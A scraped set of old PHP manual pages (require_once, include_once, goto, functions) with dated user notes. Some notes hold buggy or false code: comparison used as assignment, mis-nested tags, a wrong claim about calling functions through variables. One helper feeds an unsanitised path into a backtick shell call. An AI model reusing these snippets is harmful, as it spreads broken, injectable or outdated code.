b. Dynamically calculate the full path (absolute path)

Hints:
Use a combination of dirname(__FILE__) and subsequent calls to itself until you reach to the home of your '/index.php'. Then, attach this variable (that contains the path) to your included files.

One of my typical example is:

<?php
define('__ROOT__', dirname(dirname(__FILE__)));
require_once(__ROOT__.'/config.php');
?>

instead of:
<?php require_once('/var/www/public_html/config.php'); ?>

After this, if you copy paste your codes to another servers, it will still run, without requiring any further re-configurations.

[EDIT BY danbrown AT php DOT net: Contains a typofix (missing ')') provided by 'JoeB' on 09-JUN-2011.]
spark at limao dot com dot br 14-Apr-2011 04:31
if you use require_once on a file A pointing to file B, and require_once in the file B pointing to file A, in some configurations you will get stuck

also wouldn't it be nice to manage that to prevent getting stuck AND use the good old Java import?

<?php
       function import($path=""){
               if($path == ""){ //no parameter returns the file import info tree;
                       $report = $_SESSION['imports'];
                       foreach($report as &$item) $item = array_flip($item);
                       return $report;
               }

               $current = str_replace("\\","/",getcwd())."/";
               $path = $current.str_replace(".","/",$path);
               if(substr($path,-1) != "*") $path .= ".class.php";

               $imports = &$_SESSION['imports'];
               if(!is_array($imports)) $imports = array();

               $control = &$imports[$_SERVER['SCRIPT_FILENAME']];
               if(!is_array($control)) $control = array();

               foreach(glob($path) as $file){
                       $file = str_replace($current,"",$file);
                       if(is_dir($file)) import($file.".*");
                       if(substr($file,-10) != ".class.php") continue;
                       if($control[$file]) continue;
                       $control[$file] = count($control);
                       require_once($file);
               }
       }
?>

just remember to start the session and to enable the glob function

now you can use
<?php
    import("package.ClassName");
    import("another.package.*"); //this will import everything in the folder
?>
info at erpplaza dot com 05-Oct-2010 09:10
Include all files from a particular directory

<?php
foreach (glob("classes/*.php") as $filename)
{
    include $filename;
}
?>

ERPPlaza
jason semko at gmail dot com 16-Jul-2010 10:33
If you are coding on localhost and require_once is not opening files due to 'relative paths' a simple solution is:

<?php

      require_once(dirname(__FILE__) . "/file.php");

?>

If you have file.php under the folder 'includes' (or anywhere for that matter), then folder 'public' AND folder 'public/admin' will be able to access all required files despite having different relative paths.
ivan[DOT_NO_SPAM]chepurnyi[AT]gmail 08-Sep-2009 03:42
Also if you have a large MVC framework, it make sense to compile  structure "file/path/to/class.php" to something like this "file_path_to_class.php", it will speed up any type of php files includes, becouse php interpreter will not check FS stat data for directories "file", "file/path", "file/path/to", etc.
felix dot nensa at zeec dot biz 29-Jul-2009 06:40
To include/require a whole folder of classes can be stripped down to a one-liner:

<?php
array_walk(glob('./lib/*.class.php'),create_function('$v,$i', 'return require_once($v);'));
?>
yahel at wanadoo dot fr 20-Jul-2009 06:25
If you get "failed to open stream" although you are sure your include_path is correct, check your open_basedir setting.

I spent 2 hours trying to figure out why although my inclusion path was good, php kept sending me the "failed to open" error.

It was simply because my included directory was outside the scope of the open_basedir which blocks php from accessing file outside you root directory(usually).

I think the error you send the "open_basedir restriction in effect" in this case.
Konstantin Rozinov (krozinov[at]gmail) 02-Apr-2009 01:58
There's been a lot of discussion about the speed differences between using require_once() vs. require().
I was curious myself, so I ran some tests to see what's faster:
 - require_once() vs require()
 - using relative_path vs absolute_path

I also included results from strace for the number of stat() system calls.  My results and conclusions below.

METHODOLOGY:
------------
The script (test.php):
<?php
 $start_time = microtime(true);

 /*
  * Uncomment one at a time and run test below.
  * sql_servers.inc only contains define() statements.
  */

 //require ('/www/includes/example.com/code/conf/sql_servers.inc');
 //require ('../../includes/example.com/code/conf/sql_servers.inc');
 //require_once ('/www/includes/example.com/code/conf/sql_servers.inc');
 //require_once ('../../includes/example.com/code/conf/sql_servers.inc');

 $end_time = microtime(true);

 $handle = fopen("/tmp/results", "ab+");
 fwrite($handle, ($end_time - $start_time) . "\n");
 fclose($handle);
?>

The test:
  I ran ab on the test.php script with a different require*() uncommented each time:
  ab -n 1000 -c 10 www.example.com/test.php

RESULTS:
--------
The average time it took to run test.php once:
require('absolute_path'):      0.000830569960420
require('relative_path'):      0.000829198306664
require_once('absolute_path'): 0.000832904849136
require_once('relative_path'): 0.000824960252097

The average was computed by eliminating the 100 slowest and 100 fastest times, so a total of 800 (1000 - 200) times were used to compute the average time.  This was done to eliminate any unusual spikes or dips.

The question of how many stat() system calls were made can be answered as follows:
- If you run httpd -X and then do an strace -p <pid_of_httpd>, you can view the system calls that take place to process the request.
- The most important thing to note is if you run test.php continuously (as the ab test does above), the stat() calls only happen for the first request:

  first call to test.php (above):
  -------------------------------
  lstat64 ("/www", {st_mode=S_IFDIR|0755, st_size=...
  lstat64 ("/www/includes", {st_mode=S_IFDIR|0755,...
  lstat64 ("/www/includes/example.com", {st_mode=S...
  lstat64 ("/www/includes/example.com/code", {st_m...
  lstat64 ("/www/includes/example.com/code/conf", ...
  lstat64 ("/www/includes/example.com/code/conf/sql_servers.inc", {st_mode...
  open ("/www/includes/example.com/code/conf/sql_servers.inc", O_RDONLY) = 17

  subsequent calls to test.php:
  -----------------------------
  open ("/www/includes/example.com/code/conf/sql_servers.inc", O_RDONLY) = 17

- The lack of stat() system calls in the subsequent calls to test.php only happens when test.php is called continusly.  If you wait a certain period of time (about 1 minute or so), the stat() calls will happen again.
- This indicates that either the OS (Ubuntu Linux in my case), or Apache is "caching" or knows the results of the previous stat() calls, so it doesn't bother repeating them.
- When using absolute_path there are fewer stat() system calls.
- When using relative_path there are more stat() system calls because it has to start stat()ing from the current directory back up to / and then to the include/ directory.

CONCLUSIONS:
------------
- Try to use absolute_path when calling require*().
- The time difference between require_once() vs. require() is so tiny, it's almost always insignificant in terms of performance.  The one exception is if you have a very large application that has hundreds of require*() calls.
- When using APC opcode caching, the speed difference between the two is completely irrelevant.
- Use an opcode cache, like APC!

Konstantin Rozinov
krozinov [at] gmail
cnorthcote at underground dot co dot uk 14-Mar-2008 12:20
Bear in mind that require_once doesn't have a return value (neither does require; since they both halt execution on failure), so this won't work:

<?

require_once("path/to/myfile.php") or die("Couldn't load myfile");

?>

because you will get a very unhelpful error:

PHP Fatal error:  require_once() : Failed opening required '1' (include_path='.;C:\\php5\\pear') in C:\path\to\code.php on line 1

This was mentioned on the php-general mailing list in about 2003 but is a gotcha I have seen a few people come across. If you want to check to see if a file was included, use @include() instead.
amcewen at look dot ca 11-Feb-2008 04:00
Perhaps it would be clearer to say that require_once() includes AND evaluates the resulting code once.  More specifically, if there is code in the script file other than function declarations, this code will only be executed once via require_once().
Sinured 20-Aug-2007 07:33
Beware: As miqrogroove said below, require_once() is not independent of require() -- but vice versa, require() IS independent of require_once()!
Let's turn miqrogroove's example around:

echo.php
<?php
echo "42!<br />\n";
?>

test.php
<?php
require_once 'echo.php';
require 'echo.php';
// 42!
// 42!
?>

So: require_once() will NOT include a file previously included by require(), while require WILL include a file previously included by require_once.
manuel schaffner 14-Jun-2007 11:02
The path for nested require_once() is always evaluated relative to the called / first file containing require_once(). To make it more flexible, maintain the include_path (php.ini) or use set_include_path() - then the file will be looked up in all these locations.
jazfresh at hotmail.com 08-Mar-2007 08:22
Check how many files you are including with get_required_files(). If it's a significant number (> 100), it may be worth "compiling" the main PHP file. By "compiling", I mean write a script that reads a PHP file and replaces any "include/require_once" references with either:
- the file that it's requiring
- a blank line if that file has been included before

This function can be recursive, thus building up a large PHP file with no require_once references at all. The speedup can be dramatic. On one of our pages that included 115 classes, the page was sped up by 60%.
sneskid at hotmail dot com 19-Jan-2007 09:00
<?php
function & rel($r, &$f) {return file_exists( ( $f = ( dirname($r).'/'.$f ) ) );}
function & relf($r, $f) {return rel($r,$f) ? file_get_contents($f) : null;}
function & reli($r, $f) {return rel($r,$f) ? include($f) : null;}
function & relr($r, $f) {return rel($r,$f) ? require($f) : null;}
function & relio($r, $f) {return rel($r,$f) ? include_once($f) : null;}
function & relro($r, $f) {return rel($r,$f) ? require_once($f) : null;}
?>

I found it useful to have a function that can load a file relative to the calling script and return null if the file did not exist, without raising errors.

<?php
/*
Load file contents or return blank if it's not there.
Relative to the file calling the function.
*/
echo relf(__FILE__, 'some.file');
?>

It was easy to modify and just as useful for require/include.

<?php
/*
Require the file once.
It's like suppressing error messages with @ but only when the file does not exist.
Still shows compile errors/warning, unless you use @relro().
Relative to the file calling the function.
*/
relro(__FILE__, 'stats.php');
?>

If you work with a deep php file structure and a barrage of includes/requires/file-loads this works well.
rejjn at mail dot nu 01-Sep-2006 11:28
The following only applies to case insensitive systems like Windows.

Even though the documentation sais that "the path is normalized" that doesn't seem to be true in all cases.

If you are using the magic __autoload() function (or if the framework you're using is using it) and it includes the requested class file with complete path or if you override the include path in mid execution, you may have some very strange behavior. The most subtle problem is that the *_once functions seem to differentiate between c:\.... and C:\....

So to avoid any strange problems and painfull debugging make sure ALL paths you use within the system have the same case everywhere, and that they correspond with the actual case of the filesystem. That includes include paths set in webserver config/php.ini, auto load config, runtime include path settings or anywhere else.
antoine dot pouch at mcgill dot ca 10-Mar-2006 04:13
require_once (and include_once for that matters) is slow.
Furthermore, if you plan on using unit tests and mock objects (i.e. including mock classes before the real ones are included in the class you want to test), it will not work as require() loads a file and not a class.

To bypass that, and gain speed, I use :

<?php
class_exists('myClass') || require('path/to/myClass.class.php');
?>

I tried to time 100 require_once on the same file and it took the script 0.0026 seconds to run, whereas with my method it took only 0.00054 seconds. 4 times faster ! OK, my method of testing is quite empirical and YMMV but the bonus is the ability to use mock objects in your unit tests.
martijn(dot)lowrider(at)gmail(dot)com 24-Feb-2006 08:00
How to use Require_Once with error reporting to include a MySQL Connection file:

-------------------------------------------------------------------
$MySQLConnectFile = './inc/MySQL.Class.php';

if ( is_dir ( './inc/' ) )
{
    $IncIsDir == TRUE;
}

if ( file_exists ( $MySQLConnectFile ) )
{
    $MySQLFileExists == TRUE;
}

if ( $IncIsDir && $MySQLFileExists )
{
    require_once ( $MySQLConnectFile )
}
else
{
    echo '<b>Error:</b> <i>Could not read the MySQL Connection File. Please try again later.';
    exit();
}

----------------------------------------------------------------------
sdh00b at gmail dot com 05-Dec-2005 04:12
@georg_gruber at yahoo dot com

Files for including are first looked in include_path relative to the current working directory and then in include_path relative to the directory of current script. E.g. if your include_path is ., current working directory is /www/, you included include/a.php and there is include "b.php" in that file, b.php is first looked in /www/ and then in /www/include/. If filename begins with ./ or ../, it is looked only in include_path relative to the current working directory.

Taken from http://us2.php.net/manual/en/function.include.php
georg_gruber at yahoo dot com 07-Oct-2005 12:06
A very interesting behaviour of require_once (and probably all include commands):

consider the following files:

/index.php -> require_once('/inc/library.php');
/function1.php -> print('/function1.php');
/inc/library.php -> require_once('function1.php');
/inc/function1.php -> print('/inc/function1.php');

Note that /function1.php and /inc/function1.php are files with the SAME filename in different folders.

If you "/index.php" is executed it will output
"/function1.php".

Although /index.php "includes" /inc/library.php the scope of the file is still /index.php therefor /function1.php will be found even it could be asumed the /inc/function1.php is the correct one.

And it gets more interesting: if you delete /function1.php and execute /index.php PHP checks this and "includes" /inc/function1.php.
miqrogroove 01-May-2005 08:10
require_once() is NOT independent of require().  Therefore, the following code will work as expected:

echo.php
<?php
echo "Hello";
?>

test.php
<?php
require('echo.php');
require_once('echo.php');
?>

test.php outputs: "Hello".

Enjoy,
-- Miqro
ulderico at maber dot com dot br 22-Mar-2005 02:38
With both of your functions guys, Pure-PHP and jtaal at eljakim dot nl, you'll not have any variables available GLOBALly if they're supposed to be globals...

That's why my import handles better those situation. OK, SOME MAY DISPUTE that using include_once and require_once may slow down an application. But what's the use to do IN PHP what the interpreter *should* do better for you. Thusly these workarounds shall, some time in the future, DIE.

Thus It's better to well design your application to keep some order using few INCLUDES and REQUIRES in it rather than insert MANY AND SEVERAL *_once around.
Pure-PHP 17-Mar-2005 11:19
require_once can slower your app, if you include to many files.

You cann use this wrapper class, it is faster than include_once

http://www.pure-php.de/node/19

require_once("includeWrapper.class.php")

includeWrapper::require_once("Class1.class.php");
includeWrapper::require_once("Class1.class.php");
includeWrapper::require_once("Class2.class.php")
jtaal at eljakim dot nl 10-Mar-2005 02:00
When you feel the need for a require_once_wildcard function, here's the solution:

<?php // /var/www/app/system/include.inc.php

function require_once_wildcard($wildcard, $__FILE__) {
  preg_match("/^(.+)\/[^\/]+$/", $__FILE__, $matches);
  $ls = `ls $matches[1]/$wildcard`;
  $ls = explode("\n", $ls);
  array_pop($ls); // remove empty line ls always prints
  foreach ($ls as $inc) {
    require_once($inc);
  }
}

?>

The $__FILE__ variable should be filled with the special PHP construct __FILE__:
<?php // /var/www/app/classes.inc.php

require_once('system/include.inc.php');
require_once_wildcard("classes/*.inc.php", __FILE__);

?>

The (*.inc.php) files inside the directory classes are automagically included using require_once_wildcard.

This solution may not be as useful when using PHP5 in combination with classes and the autoload feature.

--
Jaap Taal
thomas dot revell at uwe dot ac dot uk 21-Jan-2005 11:00
Regarding the case insensitivity problems on Windows, it looks to me as though it is a problem in PHP5 as well (at least in some cases).

The following gave me problems:

From file URLSwitcher.php
<?php
require_once 'slimError/slimError.php';
require_once 'Navigator_Cache.php';
....
?>

From file Navigator_Cache.php
<?php
require_once 'slimError/slimerror.php';
...
?>

From file slimerror.php
<?php
class SLIMError {
...
}
?>
The above setup gave me an error : "Cannot redeclare class SLIMError"

If I change the require_once in URLSwitcher.php to match the one in Navigator_Cache.php, there isn't a problem, but if I do this the other way round, the same problem occurs.
18-Mar-2004 06:49
> Mac OS X systems are also not case-sensitive.
That depends on the filesystem:
- HFS and HFS+ are NOT case sensitive.
- UFS is case sensitive.


include_once

(PHP 4, PHP 5)

The include_once statement includes and evaluates the specified file during the execution of the script. This is a behavior similar to the include statement, with the only difference being that if the code from a file has already been included, it will not be included again. As the name suggests, it will be included just once.

include_once may be used in cases where the same file might be included and evaluated more than once during a particular execution of a script, so in this case it may help avoid problems such as function redefinitions, variable value reassignments, etc.

See the include documentation for information about how this function works.

Note:

With PHP 4, _once functionality differs with case-insensitive operating systems (like Windows) so for example:

Example #1 include_once with a case insensitive OS in PHP 4

<?php
include_once "a.php"; // this will include a.php
include_once "A.php"; // this will include a.php again! (PHP 4 only)
?>

This behaviour changed in PHP 5, so for example with Windows the path is normalized first so that C:\PROGRA~1\A.php is realized the same as C:\Program Files\a.php and the file is included just once.

User Contributed Notes

Anonymous 13-Oct-2014 03:39
farooq

af
sdf
dsf
sd
f
s
df
sd
f

farooq
roach dot scott+spam at googlemail dot com 28-Jun-2008 02:22
If you include a file that does not exist with include_once, the return result will be false.

If you try to include that same file again with include_once the return value will be true.

Example:
<?php
var_dump(include_once 'fakefile.ext'); // bool(false)
var_dump(include_once 'fakefile.ext'); // bool(true)
?>

This is because according to php the file was already included once (even though it does not exist).
emanuele at rogledi dot com 19-May-2008 02:40
For include_once a file in every paths of application we can do simply this

include_once($_SERVER["DOCUMENT_ROOT"] . "mypath/my2ndpath/myfile.php");
webmaster AT domaene - kempten DOT de 10-Aug-2006 02:11
Since I like to reuse a lot of code it came handy to me to begin some sort of library that I stored in a subdir
e.g. "lib"

The only thing that bothered me for some time was that although everything worked all IDEs reported during editing
these useless warnings "file not found" when library files included other library files, since my path were given all relative to the corresponding document-root.

Here is a short workaround that makes that gone:

<?php
// Change to your path

if(strpos(__FILE__,'/lib/') != FALSE){
    chdir("..");
}
include_once ('./lib/other_lib.inc');
// ... or any other include[_once] / require[_once]
?>

just adjust the path and it will be fine - also for your IDE.

greetings
flobee at gmail dot com 26-May-2005 04:55
i already had a discussion with several people about "not shown errors"
error reporting and all others in php.ini set to: "show errors" to find problems:
the answer i finally found:
if you have an "@include..." instead of "include..." or "require..('somthing') in any place in your code
all following errors are not shown too!!!

so, this is actually a bad idea when developing because paser errors will be droped too:
<?php
if(!@include_once('./somthing') ) {
    echo 'can not include';
}
?>

solution:
<?php
if(!@file_exists('./somthing') ) {
    echo 'can not include';
} else {
   include('./something');
}
?>


goto

(PHP 5 >= 5.3.0)

What's the worse thing that could happen if you use goto?
Image courtesy of » xkcd

The goto operator can be used to jump to another section in the program. The target point is specified by a label followed by a colon, and the instruction is given as goto followed by the desired target label. This is not a full unrestricted goto. The target label must be within the same file and context, meaning that you cannot jump out of a function or method, nor can you jump into one. You also cannot jump into any sort of loop or switch structure. You may jump out of these, and a common use is to use a goto in place of a multi-level break.

Example #1 goto example

<?php
goto a;
echo 'Foo';

a:
echo 'Bar';
?>

The above example will output:

Bar

Example #2 goto loop example

<?php
for($i=0,$j=50; $i<100; $i++) {
  while($j--) {
    if($j==17) goto end;
  }
}
echo "i = $i";
end:
echo 'j hit 17';
?>

The above example will output:

j hit 17

Example #3 This will not work

<?php
goto loop;
for($i=0,$j=50; $i<100; $i++) {
  while($j--) {
    loop:
  }
}
echo "$i = $i";
?>

The above example will output:

Fatal error: 'goto' into loop or switch statement is disallowed in
script on line 2

Note:

The goto operator is available as of PHP 5.3.

User Contributed Notes

sixoclockish at gmail dot com 14-Jun-2012 04:58
You are also allowed to jump backwards with a goto statement. To run a block of goto as one block is as follows:
example has a prefix of iw_ to keep label groups structured and an extra underscore to do a backwards goto.

Note the `iw_end_gt` to get out of the labels area

<?php
    $link = true;

    if ( $link ) goto iw_link_begin;
    if(false) iw__link_begin:

    if ( $link ) goto iw_link_text;
    if(false) iw__link_text:

    if ( $link ) goto iw_link_end;
    if(false) iw__link_end:

    goto iw_end_gt;

    if (false) iw_link_begin:
        echo '<a href="#">';
    goto iw__link_begin;

    if (false) iw_link_text:
        echo 'Sample Text';
    goto iw__link_text;

    if (false) iw_link_end:
        echo '</a>';
    goto iw__link_end;

    iw_end_gt:
?>
f at francislacroix dot info 30-Nov-2011 10:11
The goto operator CAN be evaluated with eval, provided the label is in the eval'd code:

<?php
a: eval("goto a;"); // undefined label 'a'
eval("a: goto a;"); // works
?>

It's because PHP does not consider the eval'd code, containing the label, to be in the same "file" as the goto statement.
Ray dot Paseur at Gmail dot com 27-Oct-2011 03:59
You cannot implement a Fortran-style "computed GOTO" in PHP because the label cannot be a variable. See: http://en.wikipedia.org/wiki/Considered_harmful

<?php // RAY_goto.php
error_reporting(E_ALL);

// DEMONSTRATE THAT THE GOTO LABEL IS CASE-SENSITIVE

goto a;
echo 'Foo';
a: echo 'Bar';

goto A;
echo 'Foo';
A: echo 'Baz';

// CAN THE GOTO LABEL BE A VARIABLE?

$a = 'abc';
goto $a; // NOPE: PARSE ERROR
echo 'Foo';
abc: echo 'Boom';
?>
chrisstocktonaz at gmail dot com 08-Aug-2009 12:03
Remember if you are not a fan of wild labels hanging around you are free to use braces in this construct creating a slightly cleaner look. Labels also are always executed and do not need to be called to have their associated code block ran. A purposeless example is below.

<?php

$headers = Array('subject', 'bcc', 'to', 'cc', 'date', 'sender');
$position = 0;

hIterator: {

    $c = 0;
    echo $headers[$position] . PHP_EOL;

    cIterator: {
        echo ' ' . $headers[$position][$c] . PHP_EOL;

        if(!isset($headers[$position][++$c])) {
            goto cIteratorExit;
        }
        goto cIterator;
    }

    cIteratorExit: {
        if(isset($headers[++$position])) {
            goto hIterator;
        }
    }
}
?>


Functions

Table of Contents

  • User-defined functions
  • Function arguments
  • Returning values
  • Variable functions
  • Internal (built-in) functions
  • Anonymous functions

User Contributed Notes

info at warpdesign dot fr 08-Dec-2008 09:14
Note about function names:
--

According to the specified regular expression ([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*), a function name like this one is valid:

<?php
function €()
{
   echo 'foo';
}
?>

And PHP interpreter correctly interprets the function. However some parsers (ex: PDT/Eclipse) does not see this as a valid function name, and only accept function names starting with a letter or an underscore.
Gautam 23-Aug-2007 11:57
<?php
/*
User Defined Functions

function function_name($arg_1, $arg_2, ...,  $arg_n)
{
    code_line1;
    code_line2;
    code_line3;
    return ($value); //stops execution of the function and returns its argument as the value at the point where the function was called.
}
One may have more than one return()statements in a function.
*/

    $text= 'This Line is Bold and Italics.';
    function makebold_n_italics($text)
    {
        $text = "<i><b>$text</i></b>";
        return($text); //the return() statement immediately ends execution of the current function, and returns its argument as the value of the function call in print command
    }
    print("This Line is not Bold.<br>\n");
    print("This Line is not Italics.<br>\n");
    echo makebold_n_italics("$text") ,"--->", 'It prints the returned value of variable $text when function is called.'."<br>\n";
    echo "$text", '---> prints the original value of  variable $text.'."<br>\n"; // prints the original value of $text
    $thanks='Thanks to Zeev Suraski and Andi Gutmans !!!';
    $text=$thanks;
    echo makebold_n_italics("$text");

/*
Above codes produces output in a browser as under:

This Line is not Bold.
This Line is not Italics.
This Line is Bold and Italics.--->It prints the returned value of variable $text when function is called.
This Line is Bold and Italics.---> prints the original value of variable $text.
Thanks to Zeev Suraski and Andi Gutmans !!!
*/
?>
leblanc at tamu dot edu 04-Nov-2006 05:31
manual says:
>nor is it possible to undefine or redefine previously-declared functions.

you can undefine or redefine a function.. or so it says.. using
runkit_function_remove
runkit_function_redefine
maybe to implement perl's Memoize module
tom pittlik 05-Feb-2006 08:53
This is a way of formatting different strings with different mandatory functions and is especially useful when processing form data or outputting database fields using structured configuration files:

<?php

function format_string($string,$functions) {
    $funcs = explode(",",$functions);

    foreach ($funcs as $func) {
        if (function_exists($func)) {
            $string = $func($string);
        }
    }
    return $string;
}

echo format_string("  <b>   this is a test         </b>", "strip_tags,strtoupper,trim");
// outputs "THIS IS A TEST"

?>
gnirts dot REMOVE_THIS at HATE_SPAM dot gmail dot com 04-Jan-2006 07:11
If you want to validate that a string could be a valid function name, watch out. preg_match() matches anywhere inside the test string, so strings like 'foo#' and '    bar' will pass with the regex that they give ([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)

The solution is to use anchors in the regex (^ and $) and check the offset of the match (using PREG_OFFSET_CAPTURE).

<?

function is_valid_function_name( $function_name_to_test )
{
    $number_of_matches = preg_match( '<^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$>'
                                       , $function_name_to_test
                                       , $match_offset_array
                                       , PREG_OFFSET_CAPTURE );

    if( $number_of_matches === false )
    {
        trigger_error( 'Error with preg_match' , E_USER_WARNING );
    }

    if( $match_offset_array[0][1] !== 0 || $number_of_matches !== 1 )
    {
        return false;
    }
    else
    {
        return true;
    }
}

?>
spy-j at rainbowtroopers dot com 21-Dec-2004 12:01
Take care when using parameters passed by reference to return new values in it:

<?PHP

function foo( &$refArray, ....) {

  UNSET($refArray); //<-- fatal!!!

  for (....) {
    $refArray[] = ....
  }//end for

}//end foo

?>

I tried to make sure the passed variable is empty so i can fill it up as an array. So i put the UNSET. Unfortunately, this seems to cause a loss with the reference to the passed variable: the filled array was NOT returned in the passed argument refArray!

I have found that replacing unset as follows seems to work correctly:

<?PHP

function bar( &$refArray, ....) {

  if (!EMPTY($refArray)) $refArray = '';

  : : :

}//end bar

?>
php at simoneast dot net 11-Apr-2003 06:59
If you're frustrated by not having access to global variables from within your functions, instead of declaring each one (particularly if you don't know them all) there are a couple of workarounds...

If your function just needs to read global variables...

function aCoolFunction () {
    extract($GLOBALS);
....

This creates a copy of all the global variables in the function scope.  Notice that because it's a copy of the variables, changing them won't affect the variables outside the function and the copies are lost at the conclusion of the function.

If you need to write to your global variables, I haven't tested it, but you could probably loop through the $GLOBALS array and make a "global" declaration for each one.  Then you could modify the variables.

Please note that this shouldn't be standard practice, but only in the case where a function needs access to all the global variables when they may be different from one call to another.  Use the "global var1, var2..." declaration where possible.

Hope that helps some people.

Simon.
bishop 01-May-2002 04:54
Consider:

<?php

function a() {
    function b() {
        echo 'I am b';
    }
    echo 'I am a';
}

a();
a();

?>

As you might NOT expect, the second call to a() fails with a "Cannot redeclare b()" error.  This behaviour is correct, insofar as PHP doesn't "allow functions to be redefined."

A work around:

<?php

function a() {
    if ( ! function_exists('b') ) {
        function b() {
            echo 'I am b';
        }
    }
    echo 'I am a';
}
?>
fabio at city dot ac dot uk 14-Feb-2002 03:57
As a corollary to other people's contributions in this section, you have to be careful when transforming a piece of code in to a function (say F1). If this piece of code contains calls to another function (say F2), then each variable used in F2 and defined in F1 must be declared as GLOBAL both in F1 and F2. This is tricky.
xpaz at somm dot com 14-Nov-2001 09:47
It is possible to define a function from inside another function.
The result is that the inner function does not exist until the outer function gets executed.

For example, the following code:

<?php

function a () {
  function b() {
    echo "I am b.\n";
  }
  echo "I am a.\n";
}
if (function_exists("b")) echo "b is defined.\n"; else echo "b is not defined.\n";
a();
if (function_exists("b")) echo "b is defined.\n"; else echo "b is not defined.\n";

?>

echoes:

b is not defined.
I am a.
b is defined.

Classes too can be defined inside functions, and will not exist until the outer function gets executed.
aboyd at ssti dot com 05-Apr-2001 05:34
[Editor's note: put your includes in the beginning of your script. You can call an included function, after it has been included                --jeroen]

The documentation states: "In PHP 3, functions must be defined before they are referenced. No such requirement exists in PHP 4."

I thought it wise to note here that there is in fact a limitation: you cannot bury your function in an include() or require().  If the function is in an include()'d file, there is NO way to call that function beforehand.  The workaround is to put the function directly in the file that calls the function.
GMCardoe at netherworldrpg dot net 24-Apr-2000 11:02
Stack overflow means your function called itself recursivly too many times and just completely filled up the processes stack. That error is there to stop a recursive call from completely taking up the entire system memory.
cap at capsi dot cx 22-Feb-2000 01:19
When using a function within a function, using global in the inner function will not make variables available that have been first initialized within the outer function.
php at paintbot dot com 05-Feb-2000 04:32
Important Note to All New Users: functions do NOT have default access to GLOBAL variables.  You must specify globals as such in your function using the 'global' type/keyword.  See the section on variables:scope.

This note should also be added to the documentation, as it would help the majority of programmers who use languages where globals are, well, global (that is, available from anywhere).  The scoping rules should also not be buried in subsection 4 of the variables section.  It should be front and center because I think this is probably one of the most non-standard and thus confusing design choices of PHP.

[Ed. note: the variables $_GET, $_POST, $_REQUEST, $_SESSION, and $_FILES are superglobals, which means you don't need the global keyword to use them inside a function]


User-defined functions

A function may be defined using syntax such as the following:

Example #1 Pseudo code to demonstrate function uses

<?php
function foo($arg_1, $arg_2, /* ..., */ $arg_n)
{
    echo "Example function.\n";
    return $retval;
}
?>

Any valid PHP code may appear inside a function, even other functions and class definitions.

Function names follow the same rules as other labels in PHP. A valid function name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thus: [a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*.

Tip

See also the Userland Naming Guide.

Functions need not be defined before they are referenced, except when a function is conditionally defined as shown in the two examples below.

When a function is defined in a conditional manner such as the two examples shown. Its definition must be processed prior to being called.

Example #2 Conditional functions

<?php

$makefoo = true;

/* We can't call foo() from here
   since it doesn't exist yet,
   but we can call bar() */

bar();

if ($makefoo) {
  function foo()
  {
    echo "I don't exist until program execution reaches me.\n";
  }
}

/* Now we can safely call foo()
   since $makefoo evaluated to true */

if ($makefoo) foo();

function bar()
{
  echo "I exist immediately upon program start.\n";
}

?>

Example #3 Functions within functions

<?php
function foo()
{
  function bar()
  {
    echo "I don't exist until foo() is called.\n";
  }
}

/* We can't call bar() yet
   since it doesn't exist. */

foo();

/* Now we can call bar(),
   foo()'s processing has
   made it accessible. */

bar();

?>

All functions and classes in PHP have the global scope - they can be called outside a function even if they were defined inside and vice versa.

PHP does not support function overloading, nor is it possible to undefine or redefine previously-declared functions.

Note: Function names are case-insensitive, though it is usually good form to call functions as they appear in their declaration.

Both variable number of arguments and default arguments are supported in functions. See also the function references for func_num_args(), func_get_arg(), and func_get_args() for more information.

It is possible to call recursive functions in PHP. However avoid recursive function/method calls with over 100-200 recursion levels as it can smash the stack and cause a termination of the current script.

Example #4 Recursive functions

<?php
function recursion($a)
{
    if ($a < 20) {
        echo "$a\n";
        recursion($a + 1);
    }
}
?>

User Contributed Notes

php at xenhideout dot nl 16-Sep-2014 02:59
Please be advised that the code block defining the function, within the function_exists() call, has to be executed for the function to get defined, whereas this is not the case for regular, unenclosed functions.

Meaning, if you write code like this:

<?php

do_function();

if (!function_exists('my_undefined')) {
    function my_undefined() {
    }
}

function do_function() {
    my_undefined();
}
?>

..Then my_undefined will not be defined before the code in do_function calls it. Some people put their function sections below the regular executing code of the script. Making any of it 'pluggable' can then cause problems.
Alexandre 23-May-2014 11:50
In  PHP version less than 5 a function named "retorna_so_numeros" was OK.

Now in current PHP version I had to rename this function to "retorna_numeros" or the script won't work.
aydinantmen [at] hotmail [dot] com 24-Apr-2014 02:17
I want to use multidimentional arrays in a callback function what accepts second parameter.

Solution:

<?php

$arr1 = array("a" => "b", "c", "d's", "e" => array("f's", "g" => array("h's", "i" => "j's")));
$arr2 = mdarr_parameter($arr1);
$arr3 = mdarr_parameter($arr2, true);

function mdarr_parameter($needle, $job=false) {
    if (is_array($needle)) {
        foreach($needle as $name => $value) {
            $needle[$name] = mdarr_parameter($value, $job);
        }
    } else {
        // Now you do anything you want...
        if ($job === true) {
            $needle = stripslashes($needle);
        } else {
            $needle = addslashes($needle);
        }
    }
    return $needle;
}

print_r($arr2);
print_r($arr3);

/**
 Outputs:

Array
(
    [a] => b
    [0] => c
    [1] => d\'s
    [e] => Array
        (
            [0] => f\'s
            [g] => Array
                (
                    [0] => h\'s
                    [i] => j\'s
                )

        )

)
Array
(
    [a] => b
    [0] => c
    [1] => d's
    [e] => Array
        (
            [0] => f's
            [g] => Array
                (
                    [0] => h's
                    [i] => j's
                )

        )

)
**/

?>
webmaster at heathdale dot vic dot edu dot au 09-Apr-2014 10:56
<?php

// first run (function doesn't exist)
$myfunc_exists;
if (! $myfunc_exists) {
    function myfunc() {
        echo ('myfunc ran definition #1<br>');
    }
    $myfunc_exists = true;
}

myfunc();   // echoes 'myfunc ran definition #1<br>'

// second run (function already exists, so won't be redefined and won't cause error)
// e.g. if the file containing the function got #included twice (it does happen)
$myfunc_exists;
if (! $myfunc_exists) {
    function myfunc() {
        echo ('myfunc ran definition #2<br>');
    }
    $myfunc_exists = true;
}

myfunc();  // still echoes 'myfunc ran definition #1<br>' (not #2)

?>
Ben Tiessen 24-Jan-2014 09:44
Functions can also be executed from variables:

function myFunc(){
  echo "Hello World";
}

$myFunc = myFunc();

$myFunc();

 // Will output Hello World
